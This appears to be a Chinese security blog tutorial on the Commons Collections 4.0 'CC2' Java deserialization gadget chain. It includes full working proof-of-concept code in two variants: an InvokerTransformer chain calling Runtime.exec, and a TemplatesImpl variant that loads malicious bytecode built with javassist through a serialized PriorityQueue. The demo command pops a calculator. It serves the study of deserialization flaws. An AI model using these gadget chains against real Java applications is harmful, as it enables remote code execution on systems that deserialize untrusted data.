CC2链
前文:利用TemplatesImpl动态加载字节码
链子对应版本:Common Collection 4.0
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>untitled10</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>
</project>链子有两种实现方式,第二种是基于ysoserial的实现方式做的,用到了javassist依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist生成任意类的字节码的简单演示(比较简单,网上复制的):
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素链子一
链子的终点和CC1链一样,仍然是InvokeTransformer的transform方法实现任意类任意方法执行
还是查找transform方法的执行点,在TransformComparator中有个compare方法:

根据CC1链,我们需要让transform的主体也就是属性transformer是CC1链中我们的那个ChainedTransformer对象
看到TransformComparator的构造方法:

可以直接用new构造赋值。
因此直接使用
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
//        chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);就获得我们想要的TransformingComparator对象
继续往下找,compare方法在JAVA的优先级队列类PriorityQueue中有实现:

而PriorityQueue的readObject方法正好会用到这个compare。找到readObject方法:

跟进最后一行的heapify方法:

跟进siftDown方法:

跟进siftDownUsingComparator方法:

这里就跟到了compare方法
而对于属性queue,看到writeObject方法:

会遍历queue进行writeObject,对应的readObject依次读入queue的各个对象,并检查queue是否符合writeObject时的数量。
这样整个链子就完结了。
至于参数,由于我们直接使用CC1链中以ConstantTransformer开头的ChainedTransformer链式调用transform的方法,就不用关心给到transform的参数是什么了(ConstantTransformer固定返回我们想要的对象,给第二个transform作为参数)
只需要让comparator属性为我们构造的的tc就行了,同样这也直接在构造方法里就可以赋值

构造PriorityQueue对象之后,我们这里使用add方法对queue进行赋值,确保前面这些方法在能够正常对queue遍历即可
PriorityQueue pq = new PriorityQueue(tc);
pq.add(1);
pq.add(2);但是这样会出现问题。
跟进add方法:

跟进offer:

跟进siftUp:

这里也用到了siftUpUsingComparator方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于compare方法中,在命令执行后会抛出一个异常

这会导致我们构造序列化数据的过程直接中断。
这是因为这一句

我们在构造TransformingComparator对象的时候,用的是这个构造方法

于是就会跟进调用这个重载的构造方法

因此decorated属性被设置为ComparatorUtils.NATURAL_COMPARATOR
跟进这个ComparatorUtils看看

那么跟进看看ComparableComparator.

再跟进到当前类的INSTANCE

到这里指向了最终的对象,也就是说执行了ComparableComparator的compare方法,给的两个参数是transform方法返回的结果
继续跟进到ComparableComparator的compare方法

参数类型要求的是泛型E,而E在类中的声明是:

这要求参数必须是实现了Comparable接口的类型。而我们transform执行的是exec方法,显然返回的对象类型java.lang.Process没有实现这个接口,因此就报错了
解决的办法有很多,一种是在构造PriorityQueue用数字做参数,这样走的就是这个构造器

comparator为null,这样执行siftUp和siftDown的时候就会走else分支,执行siftUpComparable

这个方法没有compare,处理正常数据就不会报错。
在add数据之后,通过反射把PriorityQueue对象的comparator设置成我们的tc,就拿到了我们最终想要序列化的PriorityQueue对象了
POC:
public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static void main(String[] args) throws Exception{
        //链子1
        Class runtimeClass = Runtime.class;
        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        ChainedTransformer chtfm = new ChainedTransformer(transes);
    //        chtfm.transform(runtimeClass);
        TransformingComparator tc = new TransformingComparator(chtfm);
        tc.compare(runtimeClass,runtimeClass);
    //
        PriorityQueue pq = new PriorityQueue(1);//创建无comparator的PriorityQueue
        pq.add(1);
        pq.add(2);
        Field cp = PriorityQueue.class.getDeclaredField("comparator");//通过反射设置comparator
        cp.setAccessible(true);
        cp.set(pq,tc);
        serialize(pq);
        unserialize();
    }}运行,成功弹出两个计算器(因为一次compare进行了两次transform),并出现预期的报错

链子二
其实是一个链子,只是实现方法不一样,在ysoserial中CC2链子使用的是templatesImpl动态加载字节码的函数,最终实现exec
也就是说我们最终想实现的代码是:
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
ivt.transform(tempobj)(TemplatesImpl的newTransformer最终是能跟到defineClass的)
其中generateByteCode方法,使用javassist返回首元素是恶意类的字节码的二维byte数组:
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
    ClassPool cp = ClassPool.getDefault();
    cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass cc = cp.makeClass("evil");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
    cc.makeClassInitializer().insertBefore(cmd);
    cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
    byte[][] evilbyte = new byte[][]{cc.toBytecode()};
    return evilbyte;
}除此之外,实现方式还略有不同,一是因为templatesImpl和Runtime不一样,它是一个可序列化的类,二是因为CC2链传给transform的参数是可控的(和CC1不一样),因此这里没有用到ChainedTransformer和ConstantTransformer而是直接将templatesImpl对象作为参数传给了InvokeTransformer的transform
看看参数是怎么传递的
直接看最后的siftDownUsingComparator,compare拿到的参数c和queue[right]就是直接从queue中取得的对象。

而compare方法中,拿到的两个参数obj1和obj2都是transform方法的参数

因此只要让我们的PriorityQueue对象的queue数组是两个我们的tempobj就可以了
这里换一种方式解决序列化时候报错的问题,用反射而非add设置我们的queue属性。由于不是add,我们还需要设置好数组大小size属性,不然size为0,走到这里就会终止:

Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});
Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);完整POC:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;
    }
    public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,newf);
    }//利用反射设置TemplatesImpl的私有属性
    public static void main(String[] args) throws Exception{
        //链子1
//        Class runtimeClass = Runtime.class;
//        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
//        ChainedTransformer chtfm = new ChainedTransformer(transes);
////        chtfm.transform(runtimeClass);
//        TransformingComparator tc = new TransformingComparator(chtfm);
//        tc.compare(runtimeClass,runtimeClass);
////
//        PriorityQueue pq = new PriorityQueue(1);
//
//        pq.add(1);
//        pq.add(2);
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,tc);
//        serialize(pq);
//        unserialize();
        //链子2
        TemplatesImpl tempobj = new TemplatesImpl();
        setValue(tempobj,"_name","123");
        setValue(tempobj,"_bytecodes",generateByteCode());
        setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
        InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
//                ivt.transform(tempobj);
        //        PriorityQueue pq = new PriorityQueue();
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,ivt);
        TransformingComparator tc = new TransformingComparator(ivt);
        PriorityQueue pq = new PriorityQueue(tc);
        Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
        qf_queue.setAccessible(true);
        qf_queue.set(pq,new Object[]{tempobj,tempobj});
        Field qf_size = PriorityQueue.class.getDeclaredField("size");
        qf_size.setAccessible(true);
        qf_size.set(pq,2);
        serialize(pq);
        unserialize();
    }
}运行,成功弹计算器

梳理下链子:
PriorityQueue.readObject ->
PriorityQueue.heapify ->
PriorityQueue.siftDown ->
PriorityQueue.siftDownUsingComparator ->
    TransformingComparator.compare ->
    InvokerTransformer.transform ->
        TemplatesImpl.newTransformer ->
        TemplatesImpl.getTransletInstance ->
        TemplatesImpl.defineTransletClasses ->
            ClassLoader.defineClass 
      


 
            





Comments NOTHING